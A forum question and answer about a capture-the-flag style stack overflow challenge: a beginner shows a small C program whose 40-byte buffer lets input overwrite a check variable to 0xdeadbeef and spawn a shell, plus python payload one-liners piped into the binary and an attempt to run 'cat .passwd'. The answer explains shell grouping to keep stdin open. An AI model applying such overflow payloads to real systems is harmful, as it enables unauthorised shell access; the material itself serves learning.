How the standards input passing stream different?

I'm a newbie in Linux, and exploitation. I have tried to solve some exploitation challenges and I realize some interesting things.

[1](python -c 'print "a"*40 + "\xef\xbe\xad\xde"';cat ) | ./ch13

and

[2]python -c 'print "a"*40 + "\xef\xbe\xad\xde"';cat | ./ch13

When I use I [1] my shellcode work correctly, and it don't work with the other. So, What effective did my shellcode take into program? How different between them?

and the last one, [3] python -c 'print "a"*40 + "\xef\xbe\xad\xde\0" + " -c \"cat .passwd\""'
I tried passing shellcode -c "cat .passwd" as a argv to the program. But I got notthings!

Note: This is program code (changed):

int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("UUU\n");

  if (check == 0xdeadbeef)
   {
     printf("Opening your shell...\n");
     system("/bin/dash");
   }

Thank for reading! Hope to be given documentary..

In the second version, the python output is not being piped to ./chi13, it gets printed on the screen. ; separates commands, so it's equivalent to:

python -c 'print "a"*40 + "\xef\xbe\xad\xde"'
cat  | ./ch13    

You need to group the two commands to get both of them to write to the pipe. You can do that either by putting them together in a subshell with (), or using grouping with {}:

{ python -c 'print "a"*40 + "\xef\xbe\xad\xde"'; cat; } | ./chi13